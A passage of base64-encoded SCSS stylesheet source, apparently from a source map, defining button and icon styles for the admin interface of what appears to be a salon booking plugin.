odDtcbiAgd2lkdGg6IDNyZW07XG4gIGhlaWdodDogM3JlbTtcbiAgbWFyZ2luLXJpZ2h0OiAwLjJlbTtcbiAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gIC8vdG9wOiA1MCU7XG4gIG1pbi13aWR0aDogYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aCAhaW1wb3J0YW50O1xuICBmb250LXNpemU6IDEycHg7XG4gIGxpbmUtaGVpZ2h0OiAxZW07XG4gIHBhZGRpbmc6IDA7XG4gIGxlZnQ6IDEwMiU7XG4gIHotaW5kZXg6IDk5OTtcblxuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHRvcDogdW5zZXQ7XG4gIGxlZnQ6IHVuc2V0O1xuICByaWdodDogdW5zZXQ7XG4gIHRyYW5zZm9ybTogbm9uZTtcbiAgLy8gJjpob3ZlciB7XG4gIC8vICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodGVyO1xuICAvLyB9XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICAvLyAgICB3aWR0aDogJGdyaWQtZ3V0dGVyLXdpZHRoKjkuNjtcbiAgICAvLyAgICBsZWZ0OiAwO1xuICAgIC8vICAgIHotaW5kZXg6IDk5OTtcbiAgICAvLyAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwKTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIC8vbGVmdDogYXV0bztcbiAgICAvL2xlZnQ6IGluaXRpYWw7XG4gIH1cbn1cbi5zbG4tYnRuLS1udSxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1udSB7XG4gIGhlaWdodDogM3JlbTtcbiAgbGluZS1oZWlnaHQ6IDNyZW07XG4gIHBhZGRpbmc6IDAgMS43ZW07XG4gIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gIGZvbnQtd2VpZ2h0OiA1MDA7XG4gIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oOTk5OXB4KTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjIwcHgpO1xuICB9XG59XG4uc2xuLWJ0bi0tbnUtLWhpZ2hlbXBoLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW51LS1oaWdoZW1waCB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLW51LS1tZWRoZW1waCxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1udS0tbWVkaGVtcGgge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG5cbi5zbG4tYnRuLS1udS0tbG93aGVtcGgsXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tbnUtLWxvd2hlbXBoIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gIG9wYWNpdHk6IDAuNTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgb3BhY2l0eTogMC41O1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgb3BhY2l0eTogMTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgfVxufVxuc2xuLWJ0bi0tbWVkaGVtcGggLnNsbi1hZG1pbi1iYW5uZXItLWNsb3NlLFxuLnNsbi1idG4uc2xuLWFkbWluLWJhbm5lci0tY2xvc2Uge1xuICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0OHB4KTtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ4cHgpO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYi1yYWRpdXMoNTAlKTtcbiAgJjo6YWZ0ZXIge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGNvbnRlbnQ6ICdYJztcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBAZXh0ZW5kICVhYnNvbHV0ZS1jZW50ZXJpbmc7XG4gIH1cbn1cbi5zbG4tYnRuLS1pY29uIHtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICB9XG4gIC8qIEZJWCAwOTIwMjMgKi9cbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjExMSc7XG4gICAgbGluZS1oZWlnaHQ6IGluaXRpYWw7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IC0wLjFyZW07XG4gICAgcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oM3B4KTtcbiAgICBib3R0b206IDA7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIEBleHRlbmQgJWZvbnQtaWNvbjtcbiAgICB6LWluZGV4OiAyMDA7XG4gIH1cbiAgJi5zbG4tYnRuLS1pY29uLS1jbGlja3Rocm91Z2gge1xuICAgICY6OmFmdGVyIHtcbiAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIH1cbiAgfVxuXG4gICYuc2xuLWJ0bi0taWNvbi0tYWwge1xuICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gIH1cbiAgJi5zbG4tYnRuLS1iaWcge1xuICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gICAgJjphZnRlciB7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gICAgICBsaW5lLWhlaWdodDogMy4zM3JlbTtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICAvL3BhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWJpZ2dlciB7XG4gICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NHB4KTtcbiAgICAmOmFmdGVyIHtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgMXJlbTtcbiAgICAgICAgZm9udC1zaXplOiAxLjJyZW07XG4gICAgICB9XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0tbWVnYSB7XG4gICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NHB4KTtcbiAgICAmOmFmdGVyIHtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWJhbm5lcl9fY3RhIHtcbiAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAgICY6YWZ0ZXIge1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzJweCk7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICB9XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0tbWVkaXVtIHtcbiAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU0cHgpO1xuICAgICY6YWZ0ZXIge1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0tbGFyZ2Uge1xuICAgIHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTU0cHgpO1xuICAgICY6YWZ0ZXIge1xuICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0taWNvbi0tbGVmdCB7XG4gICAgYnV0dG9uIHtcbiAgICAgIHRleHQtYWxpZ246IHJpZ2h0O1xuICAgIH1cbiAgICAmOmFmdGVyIHtcbiAgICAgIHRvcDogMDtcbiAgICAgIHJpZ2h0OiBhdXRvO1xuICAgICAgcmlnaHQ6IGluaXRpYWw7XG4gICAgICBib3R0b206IDA7XG4gICAgICBsZWZ0OiAwO1xuICAgIH1cbiAgICAmLnNsbi1idG4tLWJpZyB7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiBpbmhlcml0O1xuICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDhweCk7XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLWJ0bi0tbWVkaXVtIHtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IGluaGVyaXQ7XG4gICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTRweCk7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWljb24tLWxlZnQtLWFsdCB7XG4gICAgJjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICB0b3A6IDUwJTtcbiAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgIGJvdHRvbTogdW5zZXQ7XG4gICAgICBsZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDNweCk7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgICB6LWluZGV4OiAyMDA7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0tYmlnIHtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IGluaGVyaXQ7XG4gICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjRweCk7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0OHB4KTtcbiAgICAgIH1cbiAgICAgICYuc2xuLWJ0bi0tdGV4dG9ubHkge1xuICAgICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDVweCk7XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLWJ0bi0tbWVkaXVtIHtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IGluaGVyaXQ7XG4gICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTRweCk7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLyogRklYIDA5MjAyM1xuLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0LFxuLmNhbGVuZGFyLWhvbHlkYXlzLWJ1dHRvbiB7XG4gICY6YWZ0ZXIge1xuICAgIHRvcDogMC44cmVtO1xuICAgIGxlZnQ6IDEuNXJlbTtcbiAgICByaWdodDogMTAwJTtcbiAgfVxufVxuKi9cbi5zbG4tYnRuLS1pY29uLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWljb24ge1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xufVxuLnNsbi1pY29uLS1jaGVja21hcmsge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDBjJztcbiAgfVxufVxuLnNsbi1pY29uLS1pbmZvLWNpcmNsZSB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNWEnO1xuICB9XG59XG4uc2xuLWljb24tLWNhbGVuZGFyIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA3Myc7XG4gIH1cbn1cbi5zbG4taWNvbi0tYm9va2luZyB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwMTcnO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIH1cbn1cbi5zbG4taWNvbi0tc2VydmljZXMge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMGM0JztcbiAgfVxufVxuLnNsbi1pY29uLS1hc3Npc3RhbnRzIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjBjMCc7XG4gIH1cbn1cbi5zbG4taWNvbi0tc2V0dGluZ3Mge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDEzJztcbiAgfVxufVxuLnNsbi1pY29uLS10b29scyB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwYWQnO1xuICB9XG59XG4uc2xuLWljb24tLXNhdmUge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMGM3JztcbiAgICBmb250LXdlaWdodDogNDAwO1xuICB9XG59XG4uc2xuLWljb24tLXJlc2V0IHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAxZSc7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgfVxufVxuLnNsbi1pY29uLS1pbmZvIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA1YSc7XG4gIH1cbn1cbi5zbG4taWNvbi0tY2xvc2Uge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDBkJztcbiAgfVxufVxuLnNsbi1pY29uLS1lZGl0IHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA0NCc7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgfVxufVxuLnNsbi1pY29uLS10cmFzaCB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtd2VpZ2h0OiB2YXIoLS1mb250LXdlaWdodCwgNDAwKTtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgY29udGVudDogJ1xcZjFmOCc7XG4gIH1cbn1cbi8vIC5zbG4taWNvbi0tdW5sb2NrIHtcbi8vICAgJjphZnRlciB7XG4vLyAgICAgLy9mb250LXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQsIDQwMCk7XG4vLyAgICAgZm9udC1zdHlsZTogbm9ybWFsO1xuLy8gICAgIGNvbnRlbnQ6ICdcXGYwOWMnO1xuLy8gICB9XG4vLyB9XG4uc2xuLWljb24tLWZpbGUge1xuICAmOmFmdGVyIHtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGNvbnRlbnQ6ICdcXGYxNWMnO1xuICB9XG59XG4uc2xuLWljb24tLXdhcm5pbmcge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMTJhJztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0tcXVlc3Rpb24ge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMTI4JztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cblxuLnNsbi1pY29uLS1hcnJvdy0tdXAge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDc3JztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbiAgJi5jb2xsYXBzZWQ6OmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDc4JztcbiAgfVxufVxuLnNsbi1pY29uLS1hcnJvdy0tZG93biB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNzgnO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyOHB4KTtcbiAgfVxufVxuLnNsbi1pY29uLS1kb2NzIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAyZCc7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI4cHgpO1xuICB9XG59XG4uc2xuLWljb24tLXN0YXIge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDA1JztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0tcGxheSB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNGInO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyOHB4KTtcbiAgfVxufVxuLnNsbi1pY29uLS1saWdodGJ1bGIge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMGViJztcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzM3B4KTtcbiAgfVxufVxuLnNsbi1pY29uLS10b2dnbGUge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMjA1JztcbiAgfVxuICAmLnNsbi1idG4tLWJhbm5lcl9fY3RhOjphZnRlciB7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICB9XG59XG4uc2xuLWJ0bi0taWNvbi5zbG4tYnRuLS1tZWdhLnNsbi1pY29uLS1saWdodGJ1bGI6YWZ0ZXIge1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIC8vZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDM2cHgpO1xuICB9XG59XG4uc2xuLWljb24tLW1lZGtpdCB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwZmEnO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyOHB4KTtcbiAgfVxufVxuLnNsbi1pY29uLS1oZWxwY2hhdCB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwODYnO1xuICAgIC8vY29udGVudDogXCJcXGYxY2RcIjtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIH1cbiAgJi5hY3RpdmU6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwMGQnO1xuICB9XG59XG5cbi5zbG4taWNvbi0tYXJyb3ctLWxlZnQge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDUzJztcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NnB4KSAhaW1wb3J0YW50O1xuICB9XG4gICYuc2xuLWJ0bi0tbGFyZ2Uge1xuICAgICY6YWZ0ZXIge1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCkgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAmLnNsbi1idG4tLWxhcmdlOmFmdGVyIHtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ2cHgpICFpbXBvcnRhbnQ7XG4gICAgfVxuICB9XG59XG4uc2xuLWljb24tLWFycm93LS1yaWdodCB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNTQnO1xuICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ2cHgpICFpbXBvcnRhbnQ7XG4gIH1cbiAgJi5zbG4tYnRuLS1sYXJnZSB7XG4gICAgJjphZnRlciB7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KSAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICYuc2xuLWJ0bi0tbGFyZ2U6YWZ0ZXIge1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDZweCkgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1pY29uLS1wbHVzIHtcbiAgJjphZnRlciB7XG4gICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICBjb250ZW50OiAnXFxmMDY3JztcbiAgICBwYWRkaW5nOiAxLjJyZW0gMC42cmVtO1xuICAgIGZvbnQtc2l6ZTogMS42cmVtO1xuICB9XG59XG4uc2xuLWljb24tLXRpbWVzLFxuLnNsbi1idG4tLWljb24uc2xuLWJ0bi0taWNvbi0tbGVmdC0tYWx0LnNsbi1pY29uLS10aW1lcyB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgY29udGVudDogJ1xcZjA1Nyc7XG4gIH1cbn1cblxuLnNsbi1pY29uLS1wbHVzLWNpcmNsZSB7XG4gIGdyaWQtY29sdW1uOiAyO1xuICBncmlkLXJvdzogMztcbiAganVzdGlmeS1zZWxmOiBlbmQ7XG4gIGZvbnQtc2l6ZTogMS41ZW07XG4gIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1idG4tY2FsLWRheS1iZztcbiAgJjphZnRlciB7XG4gICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICBjb250ZW50OiAnXFxmMDU1JztcbiAgICB3aWR0aDogMjBweDtcbiAgICBoZWlnaHQ6IDIwcHg7XG4gICAgdHJhbnNmb3JtLW9yaWdpbjogNTAlIDcyLjUlO1xuICAgIGZvbnQtc2l6ZTogMWVtO1xuICB9XG4gICY6aG92ZXIge1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICBjb2xvcjogI2RlZGVkZTtcbiAgfVxufVxuLyogRklYIDA5MjAyMyBcbi5zbG4taWNvbi0tcGVuIHtcbiAgJjphZnRlciB7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGNvbnRlbnQ6IFwiXFxmMzA0XCI7XG4gIH1cbn1cblxuLnNsbi1pY29uLS1jb3B5IHtcbiAgJjphZnRlciB7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGNvbnRlbnQ6IFwiXFxmMGM1XCI7XG4gIH1cbn1cblxuLnNsbi1pY29uLS11c2VyLWNoZWNrIHtcbiAgJjphZnRlciB7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGNvbnRlbnQ6IFwiXFxmNGZjXCI7XG4gIH1cbn1cblxuLnNsbi1pY29uLS1sb2NrIHtcbiAgJjphZnRlciB7XG4gICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICBjb250ZW50OiBcIlxcZjAyM1wiO1xuICAgIHBhZGRpbmc6IDEuMXJlbSAwLjdyZW07XG4gICAgZm9udC1zaXplOiAxLjNyZW07XG4gIH1cbn1cbiovXG4jc2xuX2Jvb2tpbmctZGV0YWlscyxcbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1pY29uLS1jdXN0b21lcnVybCxcbiAgLnNsbi1idG4uc2xuLWljb24tLWN1c3RvbWVydXJsIHtcbiAgICB3aWR0aDogZml0LWNvbnRlbnQ7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjd